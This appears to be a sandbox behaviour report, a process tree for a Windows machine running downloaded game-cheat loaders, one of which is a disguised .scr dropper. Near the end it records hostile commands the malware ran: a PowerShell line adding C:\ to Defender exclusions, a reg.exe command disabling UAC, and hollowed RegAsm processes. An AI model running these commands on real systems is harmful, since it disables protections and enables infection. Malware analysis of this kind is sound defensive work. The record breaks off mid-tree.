- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2704 /prefetch:8
  2⤵
  PID:1488
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3428 /prefetch:1
  2⤵
  PID:2900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3392 /prefetch:1
  2⤵
  PID:5076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4628 /prefetch:1
  2⤵
  PID:4292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4580 /prefetch:1
  2⤵
  PID:4296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4052 /prefetch:1
  2⤵
  PID:2200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4036 /prefetch:1
  2⤵
  PID:2168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5092 /prefetch:1
  2⤵
  PID:1788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5084 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:2388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5104 /prefetch:8
  2⤵
  PID:1152
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5328 /prefetch:1
  2⤵
  PID:2568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5452 /prefetch:1
  2⤵
  PID:2908
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5528 /prefetch:1
  2⤵
  PID:4344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3648 /prefetch:1
  2⤵
  PID:3860
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4056 /prefetch:8
  2⤵
  PID:392
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4056 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1928
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5652 /prefetch:1
  2⤵
  PID:2080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6128 /prefetch:1
  2⤵
  PID:1648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6268 /prefetch:1
  2⤵
  PID:3572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6528 /prefetch:1
  2⤵
  PID:4600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6676 /prefetch:1
  2⤵
  PID:5432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5456 /prefetch:1
  2⤵
  PID:5864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7160 /prefetch:1
  2⤵
  PID:5736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3876 /prefetch:1
  2⤵
  PID:1028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7004 /prefetch:1
  2⤵
  PID:5704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6660 /prefetch:1
  2⤵
  PID:5696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5408 /prefetch:1
  2⤵
  PID:6028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7008 /prefetch:1
  2⤵
  PID:6020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7296 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5176
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6036 /prefetch:1
  2⤵
  PID:5168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5688 /prefetch:8
  2⤵
  PID:5144
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3400 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1408 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2040 /prefetch:1
  2⤵
  PID:3896
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7048 /prefetch:1
  2⤵
  PID:2448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6820 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3960 /prefetch:1
  2⤵
  PID:5324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5532 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5596 /prefetch:1
  2⤵
  PID:4792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3412 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5796

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3172

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3196

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5540

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap18327:86:7zEvent29345
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5648

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap9849:92:7zEvent22071
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5964

C:\Users\Admin\Downloads\Hurricane Loader.exe
"C:\Users\Admin\Downloads\Hurricane Loader.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2704
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:2984
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:5108

C:\Users\Admin\Downloads\Hurricane Loader.exe
"C:\Users\Admin\Downloads\Hurricane Loader.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3252
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:5396

C:\Users\Admin\Downloads\Hurricane Loader.exe
"C:\Users\Admin\Downloads\Hurricane Loader.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2488
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:2336
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:1284

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap2817:92:7zEvent6329
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:6124

C:\Users\Admin\Downloads\AirShadeV2-main\Loader.exe
"C:\Users\Admin\Downloads\AirShadeV2-main\Loader.exe"
1⤵
- Executes dropped EXE
PID:2460
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2460 -s 1132
  2⤵
  - Program crash
  PID:5660
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2460 -s 1156
  2⤵
  - Program crash
  PID:5740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2460 -ip 2460
1⤵
PID:5624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 2460 -ip 2460
1⤵
PID:5652

C:\Users\Admin\Downloads\AirShadeV2-main\Loader.exe
"C:\Users\Admin\Downloads\AirShadeV2-main\Loader.exe"
1⤵
- Executes dropped EXE
PID:1964
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1964 -s 696
  2⤵
  - Program crash
  PID:2644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 1964 -ip 1964
1⤵
PID:956

C:\Users\Admin\Downloads\AirShadeV2-main\Loader.exe
"C:\Users\Admin\Downloads\AirShadeV2-main\Loader.exe"
1⤵
- Executes dropped EXE
PID:4368
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4368 -s 1080
  2⤵
  - Program crash
  PID:5264
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4368 -s 1104
  2⤵
  - Program crash
  PID:2892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4368 -ip 4368
1⤵
PID:2688

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4368 -ip 4368
1⤵
PID:620

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap2448:72:7zEvent26335
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3944

C:\Users\Admin\Downloads\FORCE.exe
"C:\Users\Admin\Downloads\FORCE.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4544

C:\Users\Admin\Downloads\FORCE.exe
"C:\Users\Admin\Downloads\FORCE.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5464

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap23798:210:7zEvent20102
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5928

C:\Users\Admin\Downloads\Escape-From-Tarkov-Eft-Aimbot-esp-Loots-Exploits-Max-Skills-High-Jump-main\escape from tarkov\Escape From Tarkov‮nls..scr
"C:\Users\Admin\Downloads\Escape-From-Tarkov-Eft-Aimbot-esp-Loots-Exploits-Max-Skills-High-Jump-main\escape from tarkov\Escape From Tarkov‮nls..scr" /S
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5212
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /C "C:\Users\Admin\AppData\Local\Temp\y3dgqqqixc.sln"
  2⤵
  - Modifies registry class
  PID:4144
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /C "C:\Users\Admin\AppData\Local\Temp\rgaqhuh3bw.exe"
  2⤵
  PID:5356
- - C:\Users\Admin\AppData\Local\Temp\rgaqhuh3bw.exe
    C:\Users\Admin\AppData\Local\Temp\rgaqhuh3bw.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:6120
  - - C:\Windows\SysWOW64\cscript.exe
      "cscript.exe" /B /NoLogo "C:\Users\Public\Videos\b.vbs"
      4⤵
      Checks computer location settings
      PID:3384
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Videos\b.bat" "
        5⤵
        
        PID:5676
      - C:\Windows\SysWOW64\net.exe
        
        net session
        6⤵
        
        PID:4068
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:616
      - C:\Users\Public\Videos\Service.exe
        
        C:\Users\Public\Videos\Service.exe
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:4268
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c babel.bat
        7⤵
        
        PID:5516
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell -NoProfile -ExecutionPolicy Bypass -Command "$defenderExclusions = Get-MpPreference; $defenderExclusions.ExclusionPath = $defenderExclusions.ExclusionPath + 'C:\'; Set-MpPreference -ExclusionPath $defenderExclusions.ExclusionPath"
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5048
        
        C:\Windows\system32\reg.exe
        
        reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        8⤵
        UAC bypass
        Modifies registry key
        
        PID:1048
  - - C:\Users\Admin\AppData\Local\Temp\7zr.exe
      "C:\Users\Admin\AppData\Local\Temp\7zr.exe" x "C:\Users\Admin\AppData\Local\Temp\2dedaffe-f40b-433f-9c78-5a28ca0c5f41.7z" -o"C:\Users\Admin\AppData\Local\Temp\V2dedaffe-f40b-433f-9c78-5a28ca0c5f41" -pSaToshi780189.!
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:384
  - - C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\aitstatic.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\aitstatic.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:448
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        #cmd
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:380
  - - C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\ComSvcConfig.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\ComSvcConfig.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5672
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        #cmd
        5⤵
        
        PID:1324
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        #cmd
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5724
  - - C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\MicrosoftCertificateServices.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\MicrosoftCertificateServices.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:4292
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        #cmd
        5⤵
        Drops startup file
        Suspicious use of AdjustPrivilegeToken
        
        PID:1728
  - - C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\WinSAT.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\WinSAT.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      PID:1196
    - - C:\Users\Admin\AppData\Local\Temp\2a8a7jRt8HBr6EplknjhTUoBInc\Runtime Broker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2a8a7jRt8HBr6EplknjhTUoBInc\Runtime Broker.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:2484
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "chcp"
        6⤵
        
        PID:2652
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp
        7⤵
        
        PID:4040
      - C:\Users\Admin\AppData\Local\Temp\2a8a7jRt8HBr6EplknjhTUoBInc\Runtime Broker.exe
        
